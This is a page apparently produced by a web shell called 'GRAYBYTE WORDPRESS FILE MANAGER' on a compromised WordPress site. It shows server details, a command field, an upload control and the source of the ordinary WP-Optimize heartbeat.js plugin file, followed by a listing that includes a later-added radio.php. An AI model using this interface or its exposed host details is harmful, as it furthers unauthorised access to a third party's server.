GRAYBYTE WORDPRESS FILE MANAGER1652

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wp-optimize/js/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/swamivivekananda.co.in/wp-content/plugins/wp-optimize/js//heartbeat.js
var WP_Optimize_Heartbeat_Agents = {};

/**
 * Attach to WordPress heartbeat API. Has a fallback method if core API is disabled
 *
 * @returns {object} WP_Optimize_Heartbeat exports
 */
var WP_Optimize_Heartbeat = function () {
	var $ = jQuery;
	var agent_idle_ttl_in_seconds = 60; // retry after 60 seconds without a response
	var wpo_fallback;
	var _setup = false;

	/**
	 * Generate a unique ID to be used as agents IDs
	 *
	 * @returns {string}
	 */
	var guid = function() {
		var s4 = function() {
			return Math.floor((1 + Math.random()) * 0x10000)
				.toString(16)
				.substring(1);
		}
		//return id of format 'aaaaaaaa'-'aaaa'-'aaaa'-'aaaa'-'aaaaaaaaaaaa'
		return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
	}

	/**
	 * Configure the heartbeat events, if heartbeat API is missing, setup fallback
	 *
	 * @returns {void}
	 */
	function setup() {
		if (false === _setup) {
			_setup = true;
			
			$(document).on('heartbeat-send', function(event, data) {
				for(var uid in WP_Optimize_Heartbeat_Agents) {
					var agent = WP_Optimize_Heartbeat_Agents[uid];

					if (!agent.sent) {
						if ('command_data' in agent) {
							data[uid] = {};
							data[uid][agent.command] = agent.command_data;
						} else {
							data[uid] = agent.command;
						}

						agent.sent_time = new Date().getTime();
						agent.sent = true;
					}

					// Retry after idle time is passed (no response in X seconds)
					var seconds = ((new Date()).getTime() - agent.sent_time) / 1000;
					if (seconds > agent_idle_ttl_in_seconds) {
						agent.sent = false;
					}
				}
			});

			$(document).on('heartbeat-tick', function(event, data) {
				if ('object' == typeof(data.callbacks)) {
					for(var uid in data.callbacks) {
						if (is_wpo_heartbeat(uid)) {
							var response;
							try {
								response = JSON.parse(data.callbacks[uid]);
							} catch(e) {
								response = data.callbacks[uid];
							}

							if ('undefined' != typeof(response.result) && false === response.result && ('undefined' == typeof(response.skip_notice) || false === response.skip_notice)) {
								wp_optimize.notices.show_notice(response.error_code, response.error_message);
							} else {
								if ('undefined' !== typeof(WP_Optimize_Heartbeat_Agents[uid]) && WP_Optimize_Heartbeat_Agents[uid].callback instanceof Function) {
									WP_Optimize_Heartbeat_Agents[uid].callback(response);
								}
							}

							if ('undefined' !== typeof WP_Optimize_Heartbeat_Agents[uid]) {
								delete WP_Optimize_Heartbeat_Agents[uid];
							}
						}
					}
				}
			});

			if (is_heartbeat_api_disabled()) {
				wpo_fallback = WP_Optimize_Heartbeat_Fallback();
			} else {
				// Some agents send `_wait:false` because the UI needs to execute that action quickly, `disableSuspend` allows for `connectNow` to trigger a heartbeat instantly
				wp.heartbeat.disableSuspend();
			}
		}
	}
	
	/**
	 * Cancel a group of agents all at once
	 *
	 * @param {array} agents_ids The list of agent ids to cancel
	 */
	function cancel_agents(agents_ids) {
		while(agent_id = agents_ids.shift()) {
			cancel_agent(agent_id);
		}
	}
	
	/**
	 * Check if heartbeat action is a WP-Optimize action or something else that we should ignore
	 *
	 * @param {string} uid The UID of the agent
	 * @returns {boolean}
	 */
	function is_wpo_heartbeat(uid) {
		return 0 === uid.indexOf('wpo-heartbeat-');
	}

	/**
	 * Check if native heartbeat API is available
	 *
	 * @returns {boolean}
	 */
	function is_heartbeat_api_disabled() {
		return 'undefined' === typeof(wp.heartbeat);
	}

	/**
	 * Filter function to check if an agent is already scheduled
	 *
	 * @param {object} agent1 First comparison agent, usually already scheduled agents
	 * @param {object} agent2 Second comparison agent, usually the one you are trying to check if it already exists
	 * @returns {boolean}
	 */
	function do_agents_match(agent1, agent2) {
		var command_matches = agent1.command === agent2.command;
		var subaction1 = agent1.command_data && agent1.command_data.subaction ? agent1.command_data.subaction : undefined;
		var subaction2 = agent2.command_data && agent2.command_data.subaction ? agent2.command_data.subaction : undefined;
		var subaction_matches = subaction1 === subaction2;
		var command_not_sent_yet = false === agent1.sent;
		
		return command_matches && subaction_matches && command_not_sent_yet;
	}

	/**
	 * Add a heartbeat agent that will be sent to backend and has a callback to receive the response
	 *
	 * @param {object} data Expected an object like {command: string}. Commands will be treated as `data._unique:true` by default. Some commands may need permission to schedule multiple times, by sending `_unique:false`
	 * @returns {string|null}
	 */
	function add_agent(data) {
		var already_scheduled = Object.values(WP_Optimize_Heartbeat_Agents).some(function(agent) { return do_agents_match(agent, data); });
		if (already_scheduled && ('undefined' == typeof(data._unique) || (true == data._unique))) {
			return null;
		}
		
		var agent_id = 'wpo-heartbeat-' + guid();
		data.sent = false;
		WP_Optimize_Heartbeat_Agents[agent_id] = data;

		if ('undefined' !== typeof(data._wait) && false === data._wait) {
			trigger_heartbeat();
		}

		return agent_id;
	}

	/**
	 * Trigger a heartbeat by code
	 *
	 * @returns {void}
	 */
	function trigger_heartbeat() {
		if (is_heartbeat_api_disabled()) {
			wpo_fallback.do_heartbeat();
		} else {
			setTimeout(function() { wp.heartbeat.connectNow(); }, 50);
		}
	}

	/**
	 * Remove agent from list if `_keep:false`. Defaults to `true`, not cancel
	 * A method called cancel_agents that by default does not cancel anything is controversial,
	 * but in practice only things like informational requests can be really cancelled,
	 * otherwise you get strange inconsistent results when things get wiped out and callbacks are not being called.
	 *
	 * @param {string} agent_id The id of the agent to be removed
	 * @returns {void}
	 */
	function cancel_agent(agent_id) {
		var agent = WP_Optimize_Heartbeat_Agents[agent_id];
		if('undefined' != typeof(agent)) {
			if ('undefined' != typeof(agent._keep) && (false == agent._keep)) {
				delete WP_Optimize_Heartbeat_Agents[agent_id];
			}
		}
	}

	return {
		setup: setup,
		add_agent: add_agent,
		cancel_agents: cancel_agents,
		cancel_agent: cancel_agent
	};
}

/**
 * Fallback for the heartbeat api
 *
 * @returns {object} WP_Optimize_Heartbeat_Fallback exports
 */
var WP_Optimize_Heartbeat_Fallback = function() {
	var timeout_handler;

	var payload = {
		"data":{},
		"interval":wpo_heartbeat_ajax.interval,
		"_nonce":wpo_heartbeat_ajax.nonce,
		"action":"heartbeat",
		"screen_id":window.pagenow,
		"has_focus":false
	};

	/**
	 * Actually trigger the standard AJAX call to run a heartbeat event
	 *
	 * @param {int} interval How many seconds until next heartbeat
	 * @returns {void}
	 */
	function do_heartbeat(interval) {
		interval = 'undefined' == typeof(interval) ? payload.interval : interval;

		var this_payload = Object.assign({}, payload);
		var data = {};

		jQuery(document).trigger('heartbeat-send', data);

		this_payload.data = data;

		jQuery.ajax({
			type : "post",
			dataType : "json",
			url : wpo_heartbeat_ajax.ajaxurl,
			data : this_payload,
			success: function(response) {
				if('undefined' != typeof(response.callbacks)) {
					jQuery(document).trigger('heartbeat-tick', response);
				}
			}
		});

		if (timeout_handler) {
			clearTimeout(timeout_handler);
		}

		timeout_handler = setTimeout(do_heartbeat, interval * 1000, interval);
	}

	timeout_handler = setTimeout(do_heartbeat, payload.interval * 1000, payload.interval);

	return {
		do_heartbeat: do_heartbeat
	};
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
handlebars
--
July 10 2025 04:32:28
giriqfky / giriqfky
0755
jszip
--
July 10 2025 04:32:28
giriqfky / giriqfky
0755
serialize-json
--
July 10 2025 04:32:28
giriqfky / giriqfky
0755
sortable
--
July 10 2025 04:32:28
giriqfky / giriqfky
0755
.htaccess
0.259 KB
July 10 2025 04:45:39
giriqfky / giriqfky
0644
blockUI-4-2-2.min.js
0.612 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
blockUI.js
1.222 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
cache-4-2-2.min.js
8.042 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
cache.js
15.248 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
delay-js-4-2-2.min.js
1.16 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
delay-js.js
5.39 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
heartbeat-4-2-2.min.js
2.781 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
heartbeat.js
7.522 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
loadAsync-4-2-2.min.js
0.297 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
loadAsync.js
0.654 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
loadCSS-4-2-2.min.js
0.799 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
loadCSS.js
3.046 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
minify-4-2-2.min.js
11.886 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
minify.js
20.751 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
modal-4-2-2.min.js
0.9 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
modal.js
1.794 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
queue-4-2-2.min.js
0.603 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
queue.js
3.317 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
radio.php
5.234 KB
July 10 2025 04:45:39
giriqfky / giriqfky
0644
send-command-4-2-2.min.js
2.579 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
send-command.js
5.878 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
status-4-2-2.min.js
3.524 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
status.js
6.813 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wpo-images-view-4-2-2.min.js
7.334 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wpo-images-view.js
15.58 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wpoadmin-4-2-2.min.js
37.2 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wpoadmin.js
75.491 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wposmush-4-2-2.min.js
22.877 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644
wposmush.js
45.442 KB
June 23 2025 07:12:38
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF